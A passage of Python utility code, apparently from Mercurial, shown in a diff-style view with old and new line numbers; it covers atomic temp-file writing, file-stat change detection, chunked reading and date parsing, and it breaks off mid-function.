1498 return temp
1524 return temp
1499 try:
1525 try:
1500 try:
1526 try:
1501 ifp = posixfile(name, "rb")
1527 ifp = posixfile(name, "rb")
1502 except IOError as inst:
1528 except IOError as inst:
1503 if inst.errno == errno.ENOENT:
1529 if inst.errno == errno.ENOENT:
1504 return temp
1530 return temp
1505 if not getattr(inst, 'filename', None):
1531 if not getattr(inst, 'filename', None):
1506 inst.filename = name
1532 inst.filename = name
1507 raise
1533 raise
1508 ofp = posixfile(temp, "wb")
1534 ofp = posixfile(temp, "wb")
1509 for chunk in filechunkiter(ifp):
1535 for chunk in filechunkiter(ifp):
1510 ofp.write(chunk)
1536 ofp.write(chunk)
1511 ifp.close()
1537 ifp.close()
1512 ofp.close()
1538 ofp.close()
1513 except: # re-raises
1539 except: # re-raises
1514 try: os.unlink(temp)
1540 try: os.unlink(temp)
1515 except OSError: pass
1541 except OSError: pass
1516 raise
1542 raise
1517 return temp
1543 return temp
1518
1544
1519 class filestat(object):
1545 class filestat(object):
1520 """help to exactly detect change of a file
1546 """help to exactly detect change of a file
1521
1547
1522 'stat' attribute is result of 'os.stat()' if specified 'path'
1548 'stat' attribute is result of 'os.stat()' if specified 'path'
1523 exists. Otherwise, it is None. This can avoid preparative
1549 exists. Otherwise, it is None. This can avoid preparative
1524 'exists()' examination on client side of this class.
1550 'exists()' examination on client side of this class.
1525 """
1551 """
1526 def __init__(self, stat):
1552 def __init__(self, stat):
1527 self.stat = stat
1553 self.stat = stat
1528
1554
1529 @classmethod
1555 @classmethod
1530 def frompath(cls, path):
1556 def frompath(cls, path):
1531 try:
1557 try:
1532 stat = os.stat(path)
1558 stat = os.stat(path)
1533 except OSError as err:
1559 except OSError as err:
1534 if err.errno != errno.ENOENT:
1560 if err.errno != errno.ENOENT:
1535 raise
1561 raise
1536 stat = None
1562 stat = None
1537 return cls(stat)
1563 return cls(stat)
1538
1564
1539 @classmethod
1565 @classmethod
1540 def fromfp(cls, fp):
1566 def fromfp(cls, fp):
1541 stat = os.fstat(fp.fileno())
1567 stat = os.fstat(fp.fileno())
1542 return cls(stat)
1568 return cls(stat)
1543
1569
1544 __hash__ = object.__hash__
1570 __hash__ = object.__hash__
1545
1571
1546 def __eq__(self, old):
1572 def __eq__(self, old):
1547 try:
1573 try:
1548 # if ambiguity between stat of new and old file is
1574 # if ambiguity between stat of new and old file is
1549 # avoided, comparison of size, ctime and mtime is enough
1575 # avoided, comparison of size, ctime and mtime is enough
1550 # to exactly detect change of a file regardless of platform
1576 # to exactly detect change of a file regardless of platform
1551 return (self.stat.st_size == old.stat.st_size and
1577 return (self.stat.st_size == old.stat.st_size and
1552 self.stat.st_ctime == old.stat.st_ctime and
1578 self.stat.st_ctime == old.stat.st_ctime and
1553 self.stat.st_mtime == old.stat.st_mtime)
1579 self.stat.st_mtime == old.stat.st_mtime)
1554 except AttributeError:
1580 except AttributeError:
1555 pass
1581 pass
1556 try:
1582 try:
1557 return self.stat is None and old.stat is None
1583 return self.stat is None and old.stat is None
1558 except AttributeError:
1584 except AttributeError:
1559 return False
1585 return False
1560
1586
1561 def isambig(self, old):
1587 def isambig(self, old):
1562 """Examine whether new (= self) stat is ambiguous against old one
1588 """Examine whether new (= self) stat is ambiguous against old one
1563
1589
1564 "S[N]" below means stat of a file at N-th change:
1590 "S[N]" below means stat of a file at N-th change:
1565
1591
1566 - S[n-1].ctime < S[n].ctime: can detect change of a file
1592 - S[n-1].ctime < S[n].ctime: can detect change of a file
1567 - S[n-1].ctime == S[n].ctime
1593 - S[n-1].ctime == S[n].ctime
1568 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1594 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1569 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1595 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1570 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1596 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1571 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1597 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1572
1598
1573 Case (*2) above means that a file was changed twice or more at
1599 Case (*2) above means that a file was changed twice or more at
1574 same time in sec (= S[n-1].ctime), and comparison of timestamp
1600 same time in sec (= S[n-1].ctime), and comparison of timestamp
1575 is ambiguous.
1601 is ambiguous.
1576
1602
1577 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1603 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1578 timestamp is ambiguous".
1604 timestamp is ambiguous".
1579
1605
1580 But advancing mtime only in case (*2) doesn't work as
1606 But advancing mtime only in case (*2) doesn't work as
1581 expected, because naturally advanced S[n].mtime in case (*1)
1607 expected, because naturally advanced S[n].mtime in case (*1)
1582 might be equal to manually advanced S[n-1 or earlier].mtime.
1608 might be equal to manually advanced S[n-1 or earlier].mtime.
1583
1609
1584 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1610 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1585 treated as ambiguous regardless of mtime, to avoid overlooking
1611 treated as ambiguous regardless of mtime, to avoid overlooking
1586 by confliction between such mtime.
1612 by confliction between such mtime.
1587
1613
1588 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1614 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1589 S[n].mtime", even if size of a file isn't changed.
1615 S[n].mtime", even if size of a file isn't changed.
1590 """
1616 """
1591 try:
1617 try:
1592 return (self.stat.st_ctime == old.stat.st_ctime)
1618 return (self.stat.st_ctime == old.stat.st_ctime)
1593 except AttributeError:
1619 except AttributeError:
1594 return False
1620 return False
1595
1621
1596 def avoidambig(self, path, old):
1622 def avoidambig(self, path, old):
1597 """Change file stat of specified path to avoid ambiguity
1623 """Change file stat of specified path to avoid ambiguity
1598
1624
1599 'old' should be previous filestat of 'path'.
1625 'old' should be previous filestat of 'path'.
1600
1626
1601 This skips avoiding ambiguity, if a process doesn't have
1627 This skips avoiding ambiguity, if a process doesn't have
1602 appropriate privileges for 'path'. This returns False in this
1628 appropriate privileges for 'path'. This returns False in this
1603 case.
1629 case.
1604
1630
1605 Otherwise, this returns True, as "ambiguity is avoided".
1631 Otherwise, this returns True, as "ambiguity is avoided".
1606 """
1632 """
1607 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1633 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1608 try:
1634 try:
1609 os.utime(path, (advanced, advanced))
1635 os.utime(path, (advanced, advanced))
1610 except OSError as inst:
1636 except OSError as inst:
1611 if inst.errno == errno.EPERM:
1637 if inst.errno == errno.EPERM:
1612 # utime() on the file created by another user causes EPERM,
1638 # utime() on the file created by another user causes EPERM,
1613 # if a process doesn't have appropriate privileges
1639 # if a process doesn't have appropriate privileges
1614 return False
1640 return False
1615 raise
1641 raise
1616 return True
1642 return True
1617
1643
1618 def __ne__(self, other):
1644 def __ne__(self, other):
1619 return not self == other
1645 return not self == other
1620
1646
1621 class atomictempfile(object):
1647 class atomictempfile(object):
1622 '''writable file object that atomically updates a file
1648 '''writable file object that atomically updates a file
1623
1649
1624 All writes will go to a temporary copy of the original file. Call
1650 All writes will go to a temporary copy of the original file. Call
1625 close() when you are done writing, and atomictempfile will rename
1651 close() when you are done writing, and atomictempfile will rename
1626 the temporary copy to the original name, making the changes
1652 the temporary copy to the original name, making the changes
1627 visible. If the object is destroyed without being closed, all your
1653 visible. If the object is destroyed without being closed, all your
1628 writes are discarded.
1654 writes are discarded.
1629
1655
1630 checkambig argument of constructor is used with filestat, and is
1656 checkambig argument of constructor is used with filestat, and is
1631 useful only if target file is guarded by any lock (e.g. repo.lock
1657 useful only if target file is guarded by any lock (e.g. repo.lock
1632 or repo.wlock).
1658 or repo.wlock).
1633 '''
1659 '''
1634 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1660 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1635 self.__name = name # permanent name
1661 self.__name = name # permanent name
1636 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1662 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1637 createmode=createmode)
1663 createmode=createmode)
1638 self._fp = posixfile(self._tempname, mode)
1664 self._fp = posixfile(self._tempname, mode)
1639 self._checkambig = checkambig
1665 self._checkambig = checkambig
1640
1666
1641 # delegated methods
1667 # delegated methods
1642 self.read = self._fp.read
1668 self.read = self._fp.read
1643 self.write = self._fp.write
1669 self.write = self._fp.write
1644 self.seek = self._fp.seek
1670 self.seek = self._fp.seek
1645 self.tell = self._fp.tell
1671 self.tell = self._fp.tell
1646 self.fileno = self._fp.fileno
1672 self.fileno = self._fp.fileno
1647
1673
1648 def close(self):
1674 def close(self):
1649 if not self._fp.closed:
1675 if not self._fp.closed:
1650 self._fp.close()
1676 self._fp.close()
1651 filename = localpath(self.__name)
1677 filename = localpath(self.__name)
1652 oldstat = self._checkambig and filestat.frompath(filename)
1678 oldstat = self._checkambig and filestat.frompath(filename)
1653 if oldstat and oldstat.stat:
1679 if oldstat and oldstat.stat:
1654 rename(self._tempname, filename)
1680 rename(self._tempname, filename)
1655 newstat = filestat.frompath(filename)
1681 newstat = filestat.frompath(filename)
1656 if newstat.isambig(oldstat):
1682 if newstat.isambig(oldstat):
1657 # stat of changed file is ambiguous to original one
1683 # stat of changed file is ambiguous to original one
1658 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1684 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1659 os.utime(filename, (advanced, advanced))
1685 os.utime(filename, (advanced, advanced))
1660 else:
1686 else:
1661 rename(self._tempname, filename)
1687 rename(self._tempname, filename)
1662
1688
1663 def discard(self):
1689 def discard(self):
1664 if not self._fp.closed:
1690 if not self._fp.closed:
1665 try:
1691 try:
1666 os.unlink(self._tempname)
1692 os.unlink(self._tempname)
1667 except OSError:
1693 except OSError:
1668 pass
1694 pass
1669 self._fp.close()
1695 self._fp.close()
1670
1696
1671 def __del__(self):
1697 def __del__(self):
1672 if safehasattr(self, '_fp'): # constructor actually did something
1698 if safehasattr(self, '_fp'): # constructor actually did something
1673 self.discard()
1699 self.discard()
1674
1700
1675 def __enter__(self):
1701 def __enter__(self):
1676 return self
1702 return self
1677
1703
1678 def __exit__(self, exctype, excvalue, traceback):
1704 def __exit__(self, exctype, excvalue, traceback):
1679 if exctype is not None:
1705 if exctype is not None:
1680 self.discard()
1706 self.discard()
1681 else:
1707 else:
1682 self.close()
1708 self.close()
1683
1709
1684 def unlinkpath(f, ignoremissing=False):
1710 def unlinkpath(f, ignoremissing=False):
1685 """unlink and remove the directory if it is empty"""
1711 """unlink and remove the directory if it is empty"""
1686 if ignoremissing:
1712 if ignoremissing:
1687 tryunlink(f)
1713 tryunlink(f)
1688 else:
1714 else:
1689 unlink(f)
1715 unlink(f)
1690 # try removing directories that might now be empty
1716 # try removing directories that might now be empty
1691 try:
1717 try:
1692 removedirs(os.path.dirname(f))
1718 removedirs(os.path.dirname(f))
1693 except OSError:
1719 except OSError:
1694 pass
1720 pass
1695
1721
1696 def tryunlink(f):
1722 def tryunlink(f):
1697 """Attempt to remove a file, ignoring ENOENT errors."""
1723 """Attempt to remove a file, ignoring ENOENT errors."""
1698 try:
1724 try:
1699 unlink(f)
1725 unlink(f)
1700 except OSError as e:
1726 except OSError as e:
1701 if e.errno != errno.ENOENT:
1727 if e.errno != errno.ENOENT:
1702 raise
1728 raise
1703
1729
1704 def makedirs(name, mode=None, notindexed=False):
1730 def makedirs(name, mode=None, notindexed=False):
1705 """recursive directory creation with parent mode inheritance
1731 """recursive directory creation with parent mode inheritance
1706
1732
1707 Newly created directories are marked as "not to be indexed by
1733 Newly created directories are marked as "not to be indexed by
1708 the content indexing service", if ``notindexed`` is specified
1734 the content indexing service", if ``notindexed`` is specified
1709 for "write" mode access.
1735 for "write" mode access.
1710 """
1736 """
1711 try:
1737 try:
1712 makedir(name, notindexed)
1738 makedir(name, notindexed)
1713 except OSError as err:
1739 except OSError as err:
1714 if err.errno == errno.EEXIST:
1740 if err.errno == errno.EEXIST:
1715 return
1741 return
1716 if err.errno != errno.ENOENT or not name:
1742 if err.errno != errno.ENOENT or not name:
1717 raise
1743 raise
1718 parent = os.path.dirname(os.path.abspath(name))
1744 parent = os.path.dirname(os.path.abspath(name))
1719 if parent == name:
1745 if parent == name:
1720 raise
1746 raise
1721 makedirs(parent, mode, notindexed)
1747 makedirs(parent, mode, notindexed)
1722 try:
1748 try:
1723 makedir(name, notindexed)
1749 makedir(name, notindexed)
1724 except OSError as err:
1750 except OSError as err:
1725 # Catch EEXIST to handle races
1751 # Catch EEXIST to handle races
1726 if err.errno == errno.EEXIST:
1752 if err.errno == errno.EEXIST:
1727 return
1753 return
1728 raise
1754 raise
1729 if mode is not None:
1755 if mode is not None:
1730 os.chmod(name, mode)
1756 os.chmod(name, mode)
1731
1757
1732 def readfile(path):
1758 def readfile(path):
1733 with open(path, 'rb') as fp:
1759 with open(path, 'rb') as fp:
1734 return fp.read()
1760 return fp.read()
1735
1761
1736 def writefile(path, text):
1762 def writefile(path, text):
1737 with open(path, 'wb') as fp:
1763 with open(path, 'wb') as fp:
1738 fp.write(text)
1764 fp.write(text)
1739
1765
1740 def appendfile(path, text):
1766 def appendfile(path, text):
1741 with open(path, 'ab') as fp:
1767 with open(path, 'ab') as fp:
1742 fp.write(text)
1768 fp.write(text)
1743
1769
1744 class chunkbuffer(object):
1770 class chunkbuffer(object):
1745 """Allow arbitrary sized chunks of data to be efficiently read from an
1771 """Allow arbitrary sized chunks of data to be efficiently read from an
1746 iterator over chunks of arbitrary size."""
1772 iterator over chunks of arbitrary size."""
1747
1773
1748 def __init__(self, in_iter):
1774 def __init__(self, in_iter):
1749 """in_iter is the iterator that's iterating over the input chunks."""
1775 """in_iter is the iterator that's iterating over the input chunks."""
1750 def splitbig(chunks):
1776 def splitbig(chunks):
1751 for chunk in chunks:
1777 for chunk in chunks:
1752 if len(chunk) > 2**20:
1778 if len(chunk) > 2**20:
1753 pos = 0
1779 pos = 0
1754 while pos < len(chunk):
1780 while pos < len(chunk):
1755 end = pos + 2 ** 18
1781 end = pos + 2 ** 18
1756 yield chunk[pos:end]
1782 yield chunk[pos:end]
1757 pos = end
1783 pos = end
1758 else:
1784 else:
1759 yield chunk
1785 yield chunk
1760 self.iter = splitbig(in_iter)
1786 self.iter = splitbig(in_iter)
1761 self._queue = collections.deque()
1787 self._queue = collections.deque()
1762 self._chunkoffset = 0
1788 self._chunkoffset = 0
1763
1789
1764 def read(self, l=None):
1790 def read(self, l=None):
1765 """Read L bytes of data from the iterator of chunks of data.
1791 """Read L bytes of data from the iterator of chunks of data.
1766 Returns less than L bytes if the iterator runs dry.
1792 Returns less than L bytes if the iterator runs dry.
1767
1793
1768 If size parameter is omitted, read everything"""
1794 If size parameter is omitted, read everything"""
1769 if l is None:
1795 if l is None:
1770 return ''.join(self.iter)
1796 return ''.join(self.iter)
1771
1797
1772 left = l
1798 left = l
1773 buf = []
1799 buf = []
1774 queue = self._queue
1800 queue = self._queue
1775 while left > 0:
1801 while left > 0:
1776 # refill the queue
1802 # refill the queue
1777 if not queue:
1803 if not queue:
1778 target = 2**18
1804 target = 2**18
1779 for chunk in self.iter:
1805 for chunk in self.iter:
1780 queue.append(chunk)
1806 queue.append(chunk)
1781 target -= len(chunk)
1807 target -= len(chunk)
1782 if target <= 0:
1808 if target <= 0:
1783 break
1809 break
1784 if not queue:
1810 if not queue:
1785 break
1811 break
1786
1812
1787 # The easy way to do this would be to queue.popleft(), modify the
1813 # The easy way to do this would be to queue.popleft(), modify the
1788 # chunk (if necessary), then queue.appendleft(). However, for cases
1814 # chunk (if necessary), then queue.appendleft(). However, for cases
1789 # where we read partial chunk content, this incurs 2 dequeue
1815 # where we read partial chunk content, this incurs 2 dequeue
1790 # mutations and creates a new str for the remaining chunk in the
1816 # mutations and creates a new str for the remaining chunk in the
1791 # queue. Our code below avoids this overhead.
1817 # queue. Our code below avoids this overhead.
1792
1818
1793 chunk = queue[0]
1819 chunk = queue[0]
1794 chunkl = len(chunk)
1820 chunkl = len(chunk)
1795 offset = self._chunkoffset
1821 offset = self._chunkoffset
1796
1822
1797 # Use full chunk.
1823 # Use full chunk.
1798 if offset == 0 and left >= chunkl:
1824 if offset == 0 and left >= chunkl:
1799 left -= chunkl
1825 left -= chunkl
1800 queue.popleft()
1826 queue.popleft()
1801 buf.append(chunk)
1827 buf.append(chunk)
1802 # self._chunkoffset remains at 0.
1828 # self._chunkoffset remains at 0.
1803 continue
1829 continue
1804
1830
1805 chunkremaining = chunkl - offset
1831 chunkremaining = chunkl - offset
1806
1832
1807 # Use all of unconsumed part of chunk.
1833 # Use all of unconsumed part of chunk.
1808 if left >= chunkremaining:
1834 if left >= chunkremaining:
1809 left -= chunkremaining
1835 left -= chunkremaining
1810 queue.popleft()
1836 queue.popleft()
1811 # offset == 0 is enabled by block above, so this won't merely
1837 # offset == 0 is enabled by block above, so this won't merely
1812 # copy via ``chunk[0:]``.
1838 # copy via ``chunk[0:]``.
1813 buf.append(chunk[offset:])
1839 buf.append(chunk[offset:])
1814 self._chunkoffset = 0
1840 self._chunkoffset = 0
1815
1841
1816 # Partial chunk needed.
1842 # Partial chunk needed.
1817 else:
1843 else:
1818 buf.append(chunk[offset:offset + left])
1844 buf.append(chunk[offset:offset + left])
1819 self._chunkoffset += left
1845 self._chunkoffset += left
1820 left -= chunkremaining
1846 left -= chunkremaining
1821
1847
1822 return ''.join(buf)
1848 return ''.join(buf)
1823
1849
1824 def filechunkiter(f, size=131072, limit=None):
1850 def filechunkiter(f, size=131072, limit=None):
1825 """Create a generator that produces the data in the file size
1851 """Create a generator that produces the data in the file size
1826 (default 131072) bytes at a time, up to optional limit (default is
1852 (default 131072) bytes at a time, up to optional limit (default is
1827 to read all data). Chunks may be less than size bytes if the
1853 to read all data). Chunks may be less than size bytes if the
1828 chunk is the last chunk in the file, or the file is a socket or
1854 chunk is the last chunk in the file, or the file is a socket or
1829 some other type of file that sometimes reads less data than is
1855 some other type of file that sometimes reads less data than is
1830 requested."""
1856 requested."""
1831 assert size >= 0
1857 assert size >= 0
1832 assert limit is None or limit >= 0
1858 assert limit is None or limit >= 0
1833 while True:
1859 while True:
1834 if limit is None:
1860 if limit is None:
1835 nbytes = size
1861 nbytes = size
1836 else:
1862 else:
1837 nbytes = min(limit, size)
1863 nbytes = min(limit, size)
1838 s = nbytes and f.read(nbytes)
1864 s = nbytes and f.read(nbytes)
1839 if not s:
1865 if not s:
1840 break
1866 break
1841 if limit:
1867 if limit:
1842 limit -= len(s)
1868 limit -= len(s)
1843 yield s
1869 yield s
1844
1870
1845 def makedate(timestamp=None):
1871 def makedate(timestamp=None):
1846 '''Return a unix timestamp (or the current time) as a (unixtime,
1872 '''Return a unix timestamp (or the current time) as a (unixtime,
1847 offset) tuple based off the local timezone.'''
1873 offset) tuple based off the local timezone.'''
1848 if timestamp is None:
1874 if timestamp is None:
1849 timestamp = time.time()
1875 timestamp = time.time()
1850 if timestamp < 0:
1876 if timestamp < 0:
1851 hint = _("check your clock")
1877 hint = _("check your clock")
1852 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1878 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1853 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1879 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1854 datetime.datetime.fromtimestamp(timestamp))
1880 datetime.datetime.fromtimestamp(timestamp))
1855 tz = delta.days * 86400 + delta.seconds
1881 tz = delta.days * 86400 + delta.seconds
1856 return timestamp, tz
1882 return timestamp, tz
1857
1883
1858 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1884 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1859 """represent a (unixtime, offset) tuple as a localized time.
1885 """represent a (unixtime, offset) tuple as a localized time.
1860 unixtime is seconds since the epoch, and offset is the time zone's
1886 unixtime is seconds since the epoch, and offset is the time zone's
1861 number of seconds away from UTC.
1887 number of seconds away from UTC.
1862
1888
1863 >>> datestr((0, 0))
1889 >>> datestr((0, 0))
1864 'Thu Jan 01 00:00:00 1970 +0000'
1890 'Thu Jan 01 00:00:00 1970 +0000'
1865 >>> datestr((42, 0))
1891 >>> datestr((42, 0))
1866 'Thu Jan 01 00:00:42 1970 +0000'
1892 'Thu Jan 01 00:00:42 1970 +0000'
1867 >>> datestr((-42, 0))
1893 >>> datestr((-42, 0))
1868 'Wed Dec 31 23:59:18 1969 +0000'
1894 'Wed Dec 31 23:59:18 1969 +0000'
1869 >>> datestr((0x7fffffff, 0))
1895 >>> datestr((0x7fffffff, 0))
1870 'Tue Jan 19 03:14:07 2038 +0000'
1896 'Tue Jan 19 03:14:07 2038 +0000'
1871 >>> datestr((-0x80000000, 0))
1897 >>> datestr((-0x80000000, 0))
1872 'Fri Dec 13 20:45:52 1901 +0000'
1898 'Fri Dec 13 20:45:52 1901 +0000'
1873 """
1899 """
1874 t, tz = date or makedate()
1900 t, tz = date or makedate()
1875 if "%1" in format or "%2" in format or "%z" in format:
1901 if "%1" in format or "%2" in format or "%z" in format:
1876 sign = (tz > 0) and "-" or "+"
1902 sign = (tz > 0) and "-" or "+"
1877 minutes = abs(tz) // 60
1903 minutes = abs(tz) // 60
1878 q, r = divmod(minutes, 60)
1904 q, r = divmod(minutes, 60)
1879 format = format.replace("%z", "%1%2")
1905 format = format.replace("%z", "%1%2")
1880 format = format.replace("%1", "%c%02d" % (sign, q))
1906 format = format.replace("%1", "%c%02d" % (sign, q))
1881 format = format.replace("%2", "%02d" % r)
1907 format = format.replace("%2", "%02d" % r)
1882 d = t - tz
1908 d = t - tz
1883 if d > 0x7fffffff:
1909 if d > 0x7fffffff:
1884 d = 0x7fffffff
1910 d = 0x7fffffff
1885 elif d < -0x80000000:
1911 elif d < -0x80000000:
1886 d = -0x80000000
1912 d = -0x80000000
1887 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1913 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1888 # because they use the gmtime() system call which is buggy on Windows
1914 # because they use the gmtime() system call which is buggy on Windows
1889 # for negative values.
1915 # for negative values.
1890 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1916 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1891 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1917 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1892 return s
1918 return s
1893
1919
1894 def shortdate(date=None):
1920 def shortdate(date=None):
1895 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1921 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1896 return datestr(date, format='%Y-%m-%d')
1922 return datestr(date, format='%Y-%m-%d')
1897
1923
1898 def parsetimezone(s):
1924 def parsetimezone(s):
1899 """find a trailing timezone, if any, in string, and return a
1925 """find a trailing timezone, if any, in string, and return a
1900 (offset, remainder) pair"""
1926 (offset, remainder) pair"""
1901
1927
1902 if s.endswith("GMT") or s.endswith("UTC"):
1928 if s.endswith("GMT") or s.endswith("UTC"):
1903 return 0, s[:-3].rstrip()
1929 return 0, s[:-3].rstrip()
1904
1930
1905 # Unix-style timezones [+-]hhmm
1931 # Unix-style timezones [+-]hhmm
1906 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
1932 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
1907 sign = (s[-5] == "+") and 1 or -1
1933 sign = (s[-5] == "+") and 1 or -1
1908 hours = int(s[-4:-2])
1934 hours = int(s[-4:-2])
1909 minutes = int(s[-2:])
1935 minutes = int(s[-2:])
1910 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
1936 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
1911
1937
1912 # ISO8601 trailing Z
1938 # ISO8601 trailing Z
1913 if s.endswith("Z") and s[-2:-1].isdigit():
1939 if s.endswith("Z") and s[-2:-1].isdigit():
1914 return 0, s[:-1]
1940 return 0, s[:-1]
1915
1941
1916 # ISO8601-style [+-]hh:mm
1942 # ISO8601-style [+-]hh:mm
1917 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
1943 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
1918 s[-5:-3].isdigit() and s[-2:].isdigit()):
1944 s[-5:-3].isdigit() and s[-2:].isdigit()):
1919 sign = (s[-6] == "+") and 1 or -1
1945 sign = (s[-6] == "+") and 1 or -1
1920 hours = int(s[-5:-3])
1946 hours = int(s[-5:-3])
1921 minutes = int(s[-2:])
1947 minutes = int(s[-2:])
1922 return -sign * (hours * 60 + minutes) * 60, s[:-6]
1948 return -sign * (hours * 60 + minutes) * 60, s[:-6]
1923
1949
1924 return None, s
1950 return None, s
1925
1951
1926 def strdate(string, format, defaults=None):
1952 def strdate(string, format, defaults=None):
1927 """parse a localized time string and return a (unixtime, offset) tuple.
1953 """parse a localized time string and return a (unixtime, offset) tuple.
1928 if the string cannot be parsed, ValueError is raised."""
1954 if the string cannot be parsed, ValueError is raised."""
1929 if defaults is None:
1955 if defaults is None:
1930 defaults = {}
1956 defaults = {}
1931
1957
1932 # NOTE: unixtime = localunixtime + offset
1958 # NOTE: unixtime = localunixtime + offset
1933 offset, date = parsetimezone(string)
1959 offset, date = parsetimezone(string)
1934
1960
1935 # add missing elements from defaults
1961 # add missing elements from defaults
1936 usenow = False # default to using biased defaults
1962 usenow = False # default to using biased defaults
1937 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
1963 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
1938 part = pycompat.bytestr(part)
1964 part = pycompat.bytestr(part)
1939 found = [True for p in part if ("%"+p) in format]
1965 found = [True for p in part if ("%"+p) in format]
1940 if not found:
1966 if not found:
1941 date += "@" + defaults[part][usenow]
1967 date += "@" + defaults[part][usenow]
1942 format += "@%" + part[0]
1968 format += "@%" + part[0]
1943 else:
1969 else:
1944 # We've found a specific time element, less specific time
1970 # We've found a specific time element, less specific time
1945 # elements are relative to today
1971 # elements are relative to today
1946 usenow = True
1972 usenow = True
1947
1973
1948 timetuple = time.strptime(encoding.strfromlocal(date),
1974 timetuple = time.strptime(encoding.strfromlocal(date),
1949 encoding.strfromlocal(format))
1975 encoding.strfromlocal(format))
1950 localunixtime = int(calendar.timegm(timetuple))
1976 localunixtime = int(calendar.timegm(timetuple))
1951 if offset is None:
1977 if offset is None:
1952 # local timezone
1978 # local timezone
1953 unixtime = int(time.mktime(timetuple))
1979 unixtime = int(time.mktime(timetuple))
1954 offset = unixtime - localunixtime
1980 offset = unixtime - localunixtime
1955 else:
1981 else:
1956 unixtime = localunixtime + offset
1982 unixtime = localunixtime + offset
1957 return unixtime, offset
1983 return unixtime, offset
1958
1984
1959 def parsedate(date, formats=None, bias=None):
1985 def parsedate(date, formats=None, bias=None):
1960 """parse a localized date/time and return a (unixtime, offset) tuple.
1986 """parse a localized date/time and return a (unixtime, offset) tuple.
1961
1987
1962 The date may be a "unixtime offset" string or in one of the specified
1988 The date may be a "unixtime offset" string or in one of the specified
1963 formats. If the date already is a (unixtime, offset) tuple, it is returned.
1989 formats. If the date already is a (unixtime, offset) tuple, it is returned.
1964
1990
1965 >>> parsedate(' today ') == parsedate(\
1991 >>> parsedate(' today ') == parsedate(\
1966 datetime.date.today().strftime('%b %d'))
1992 datetime.date.today().strftime('%b %d'))
1967 True
1993 True
1968 >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
1994 >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
1969 datetime.timedelta(days=1)\
1995 datetime.timedelta(days=1)\
1970 ).strftime('%b %d'))
1996 ).strftime('%b %d'))
1971 True
1997 True
1972 >>> now, tz = makedate()
1998 >>> now, tz = makedate()
1973 >>> strnow, strtz = parsedate('now')
1999 >>> strnow, strtz = parsedate('now')
1974 >>> (strnow - now) < 1
2000 >>> (strnow - now) < 1
1975 True
2001 True
1976 >>> tz == strtz
2002 >>> tz == strtz
1977 True
2003 True
1978 """
2004 """
1979 if bias is None:
2005 if bias is None:
1980 bias = {}
2006 bias = {}
1981 if not date:
2007 if not date:
1982 return 0, 0
2008 return 0, 0
1983 if isinstance(date, tuple) and len(date) == 2:
2009 if isinstance(date, tuple) and len(date) == 2:
1984 return date
2010 return date
1985 if not formats:
2011 if not formats:
1986 formats = defaultdateformats
2012 formats = defaultdateformats
1987 date = date.strip()
2013 date = date.strip()
1988
2014
1989 if date == 'now' or date == _('now'):
2015 if date == 'now' or date == _('now'):
1990 return makedate()
2016 return makedate()
1991 if date == 'today' or date == _('today'):
2017 if date == 'today' or date == _('today'):
1992 date = datetime.date.today().strftime('%b %d')
2018 date = datetime.date.today().strftime('%b %d')
1993 elif date == 'yesterday' or date == _('yesterday'):
2019 elif date == 'yesterday' or date == _('yesterday'):
1994 date = (datetime.date.today() -
2020 date = (datetime.date.today() -
1995 datetime.timedelta(days=1)).strftime('%b %d')
2021 datetime.timedelta(days=1)).strftime('%b %d')
1996
2022
1997 try:
2023 try:
1998 when, offset = map(int, date.split(' '))
2024 when, offset = map(int, date.split(' '))
1999 except ValueError:
2025 except ValueError:
2000 # fill out defaults
2026 # fill out defaults
2001 now = makedate()
2027 now = makedate()
2002 defaults = {}
2028 defaults = {}
2003 for part in ("d", "mb", "yY", "HI", "M", "S"):
2029 for part in ("d", "mb", "yY", "HI", "M", "S"):
2004 # this piece is for rounding the specific end of unknowns
2030 # this piece is for rounding the specific end of unknowns
2005 b = bias.get(part)
2031 b = bias.get(part)
2006 if b is None:
2032 if b is None:
